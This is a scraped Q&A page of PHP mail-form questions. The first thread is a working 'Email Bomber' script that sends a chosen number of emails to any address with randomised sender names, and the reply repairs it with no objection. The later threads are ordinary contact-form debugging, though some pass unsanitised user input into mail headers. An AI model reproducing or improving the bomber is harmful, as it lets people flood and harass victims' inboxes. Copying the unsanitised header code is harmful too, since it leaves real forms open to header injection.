Keep my form when echoing - php

For some reason whenever this script get's execited to the point where it is suppose to echo out "IT WORKED!", the message displays but the form that is suppose to be above it disapears.
My Code:
<?php
$message = $_REQUEST['message'];
$email = $_REQUEST['email'];
$times = $_REQUEST['times'];
$subject = $_REQUEST['subject'];
$to = $_REQUEST['to'];
for ($i=1; $i<=$times; $i++) {
mail( "$to", "$subject", $message, "From:" . rand() . "#$email" ) ;
}
?>
<form method="POST" id="email">
<h1>Email Bomber</h1>
<fieldset id="inputs">
<input name="times" type="text" placeholder="How Many Emails" autofocus required>
<input name="email" type="text" placeholder="Email Suffix" autofocus required>
<input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required>
<input name="subject" type="text" placeholder="Email Subject" autofocus required>
<textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea>
</fieldset>
<fieldset id="actions">
<input type="submit" id="submit" name="Send" value="Send Email">
</fieldset>
</form>
<?php
if (isset($_REQUEST['message'])) {
echo "IT WORKED!";
}
?>

Should be :
PHP code :
<?php
if (isset($_REQUEST['Send'])) {
$message = $_REQUEST['message'];
$email = $_REQUEST['email'];
$times = $_REQUEST['times'];
$subject = $_REQUEST['subject'];
$to = $_REQUEST['to'];
for ($i=1; $i<=$times; $i++) {
mail( "$to", "$subject", $message, "From:" . rand() . "#$email" ) ;
}
echo "IT WORKED!";
}
?>
HTML :
<form method="POST" id="email" action="#">
<h1>Email Bomber</h1>
<fieldset id="inputs">
<input name="times" type="text" placeholder="How Many Emails" autofocus required>
<input name="email" type="text" placeholder="Email Suffix" autofocus required>
<input name="to" type="email" placeholder="Who Do You Want To Email" autofocus required>
<input name="subject" type="text" placeholder="Email Subject" autofocus required>
<textarea name="message" placeholder="The Email Message" rows="15" cols="40"></textarea>
</fieldset>
<fieldset id="actions">
<input type="submit" id="submit" name="Send" value="Send Email">
</fieldset>
</form>

Related

How to prevent form submission if message contain links?

can anyone help me? I'm trying to prevent spam in the contact form.
I would like to achieve this with PHP. I can't find any solution on the web. Thanks in advance for who can help me out.
HTML
<form name="myForm" id="myForm" method="post" action="contact-form.php">
<input type="text" name="name" value="" class="form-control mt-3" id="name" placeholder="Full Name" required>
<input type="email" name="email" value="" class="form-control mt-3" id="email" placeholder="Email" required>
<textarea class="form-control mt-3" name="message" id="message" placeholder="Type your message" rows="7" required></textarea>
<input type="text" id="Nomoboto" name="Nomoboto" value="800 800 1000" autocomplete="off" />
<input type="text" id="PostItBoto" name="PostItBoto" value="93940" autocomplete="off" />
<input type="text" id="Empty_Me" name="Empty_Me" value=""/>
<input type="text" id="Empty_You" name="Empty_You" value=""/>
<button type="submit" class="btn btn-primary float-right mt-3">Send Message</button>
</form>
PHP
<?php
$name = $_POST ['name'];
$email = $_POST ['email'];
$message = $_POST ['message'];
$Empty_Me = $_POST ['Empty_Me'];
$Empty_You = $_POST ['Empty_You'];
$email_from = 'Contact Form';
$email_subject = "New Form Submission";
$email_body = "User Name: $name.\n".
"User Email: $email.\n".
"User Message: $message.\n".
"Empty_Me: $Empty_Me.\n".
"Empty_You: $Empty_You.\n";
function email_validation($str) {
return (!preg_match(
"^[_a-z0-9-]+(\.[_a-z0-9-]+)*#[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$^", $str))
? FALSE : TRUE;
}
$to = "info#mail.com";
$headers = "From $email_from \r\n";
mail($to,$email_subject,$email_body,$headers);
header("Location: index.html");

PHP power form not sending all fields to email

Im using this php script to send the contents of my form to my email when the user submits the form, but currently im only able to get the last two fields of my form to send in the email.( message and company name are the only two working) How can I get the entire form to send in the email?
<form role="form" method='post' action='backend/php_mailer.php'>
<input type="text" name='name' class="form-control" id="yourname" placeholder="Name">
<input type="email" name='email' class="form-control" id="email" placeholder="Email">
<input type="text" name='phone' class="form-control" id="phone" placeholder="Phone">
<input type="text" name='company' class="form-control" id="company" placeholder="Company Name">
<textarea name='message' class="form-control" id="message" rows="6" placeholder="Message"></textarea>
<button type="submit" class="btn btn-primary btn-lg ">SUBMIT</button>
</form>
<?php
if (isset($_POST['email']))
{
$userName = $_REQUEST['name'] ;
$email = $_REQUEST['email'] ;
$phone = $_REQUEST['phone'] ;
$company = $_REQUEST['company'] ;
$message = $_REQUEST['message'] ;
mail("peaceuponelove#gmail.com", $subject,
$message,$company,$userName );
echo "Thank you";
}
?>
Each argument of mail() has a specific purpose. You cannot just continually pass in arguments and expect them to be appended to the email. You must use string concatenation.
$message = $_REQUEST['message'] . '</br>' . $email . '<br/>' . $phone . '<br/> ' . $userName . '<br/> . ' $company;
mail("peaceuponelove#gmail.com", $subject,$message);
Sidenote You never declared $subject in the code that you've shown. So here's a subject:
$subject = 'Message from '. $userName .' < ' . $email . ' > ';
Here is what i ended up doing to get all fields in email
<?php
?>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="action" value="submit">
<input name="name" type="text" value="" size="30"/><br>
<input name="email" type="text" value="" size="30"/><br>
<input name="phone" type="text" value="" size="30"/><br>
<textarea name="message" rows="7" cols="30"></textarea><br>
<input type="submit" value="Send email"/>
</form>
<?php
$name=$_REQUEST['name'];
$email=$_REQUEST['email'];
$phone=$_REQUEST['phone'];
$message=$_REQUEST['message'].$email.$phone;
$subject="$name";
mail("peaceuponelove#gmail.com", $subject, $message);
echo "Email sent!";
?>

how to add an attachment to a php contact form

I have made a contact form that allows users to send me messages, but what I couldn't add is the ability for them to send me a file with it. Here is my code:
<form action="mail.php" method="post" enctype='multipart/form-data'>
<input type="text" class="feedback-input" id="firstname" name="firstname" placeholder="First Name" size="30" required="">
<br/>
<input type="text" class="feedback-input" id="lastname" name="lastname" placeholder="Last Name" size="30" required="">
<br/>
<input type="email" class="feedback-input" id="title" name="title" placeholder="E-mail" size="30" required="">
<br/>
<textarea name="message" class="feedback-input" placeholder="What can I help you with?" style="height: 150px;" required=""></textarea><br/>
<br/>
<input type="file" name="file" id="file" placeholder=" " tabindex="1" required/><br/>
<input type="submit" name="submit" id="Submit" value="Send">
and this is the mail.phph file:
<?php
$firstname = $_POST['firstname'];
$title = $_POST['title'];
$lastname = $_POST['lastname'];
$message = $_POST['message'];
$ip = $_SERVER['REMOTE_ADDR'];
$formcontent=" From: $firstname $lastname \n Email Address: $title \n IP: $ip \n\n Description : $message";
$recipient = "myemail#yahoo.com";
$subject = "New Message!!";
$mailheader = "From: $title \r\n";
mail($recipient, $subject, $formcontent, $mailheader) or die("Error!");
header("Location: www.mythankyoupage.com");
die();
?>

Basic contact form php not working, getting empty messages from my form [duplicate]

I’m new to PHP so bear with me. My form is sending empty emails when I press submit. Any help would be great.
This is my form:
<form class="contact_form" action="kontakt.php" method="post">
<p><input type="text" required="required" id="name" name="name" class="text_input" value="" size="22" />
<label for="name">Namn *</label></p>
<p><input type="text" required="required" id="company" name="company" class="text_input" value="" size="22" />
<label for="company">Företag *</label></p>
<p><input type="email" required="required" id="email" name="email" class="text_input" value="" size="22" />
<label for="email">Epost *</label></p>
<p><textarea required="required" name="content" class="textarea" cols="30" rows="5"></textarea></p>
<p><button type="submit" class="button white"><span>Skicka</span></button></p>
<input type="hidden" value="info#web.se" name="contact_to"/>
</form>
And my PHP code so far is:
<?php
$name = $_POST['name'];
$company = $_POST['company'];
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$content = $_POST['content'];
$mail_to = 'info#web.se';
$subject = 'Lilla form'.$name;
$body_message = 'From: '.$name."\n";
$body_message .= 'E-mail: '.$email."\n";
$body_message .= 'Message: '.$content;
$headers = 'From: '.$email."\r\n";
$headers .= 'Reply-To: '.$email."\r\n";
$mail_status = mail($mail_to, $subject, $body_message, $headers);
?>
Please help me, I’m really stuck.
Thank you all!
Try this
<form class="contact_form" action="kontakt.php" method="post">
<p><input type="text" required="required" id="name" name="name" class="text_input" size="22" />
<label for="name">Namn *</label></p>
<p><input type="text" required="required" id="company" name="company" class="text_input" size="22" />
<label for="company">Företag *</label></p>
<p><input type="email" required="required" id="email" name="email" class="text_input" size="22" />
<label for="email">Epost *</label></p>
<p><textarea required="required" name="content" class="textarea" cols="30" rows="5"></textarea></p>
<p><button type="submit" class="button white"><span>Skicka</span></button></p>
<input type="hidden" value="info#web.se" name="contact_to"/>
</form>
Edit:(Debug)
$name = $_POST['name'];
$company = $_POST['company'];
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$content = $_POST['content'];
echo $name.$comapny.$email.$content;exit; // check whether the values are posted successfully or not

My contact form sends blank body_messages

I’m new to PHP so bear with me. My form is sending empty emails when I press submit. Any help would be great.
This is my form:
<form class="contact_form" action="kontakt.php" method="post">
<p><input type="text" required="required" id="name" name="name" class="text_input" value="" size="22" />
<label for="name">Namn *</label></p>
<p><input type="text" required="required" id="company" name="company" class="text_input" value="" size="22" />
<label for="company">Företag *</label></p>
<p><input type="email" required="required" id="email" name="email" class="text_input" value="" size="22" />
<label for="email">Epost *</label></p>
<p><textarea required="required" name="content" class="textarea" cols="30" rows="5"></textarea></p>
<p><button type="submit" class="button white"><span>Skicka</span></button></p>
<input type="hidden" value="info#web.se" name="contact_to"/>
</form>
And my PHP code so far is:
<?php
$name = $_POST['name'];
$company = $_POST['company'];
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$content = $_POST['content'];
$mail_to = 'info#web.se';
$subject = 'Lilla form'.$name;
$body_message = 'From: '.$name."\n";
$body_message .= 'E-mail: '.$email."\n";
$body_message .= 'Message: '.$content;
$headers = 'From: '.$email."\r\n";
$headers .= 'Reply-To: '.$email."\r\n";
$mail_status = mail($mail_to, $subject, $body_message, $headers);
?>
Please help me, I’m really stuck.
Thank you all!
Try this
<form class="contact_form" action="kontakt.php" method="post">
<p><input type="text" required="required" id="name" name="name" class="text_input" size="22" />
<label for="name">Namn *</label></p>
<p><input type="text" required="required" id="company" name="company" class="text_input" size="22" />
<label for="company">Företag *</label></p>
<p><input type="email" required="required" id="email" name="email" class="text_input" size="22" />
<label for="email">Epost *</label></p>
<p><textarea required="required" name="content" class="textarea" cols="30" rows="5"></textarea></p>
<p><button type="submit" class="button white"><span>Skicka</span></button></p>
<input type="hidden" value="info#web.se" name="contact_to"/>
</form>
Edit:(Debug)
$name = $_POST['name'];
$company = $_POST['company'];
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
$content = $_POST['content'];
echo $name.$comapny.$email.$content;exit; // check whether the values are posted successfully or not

Categories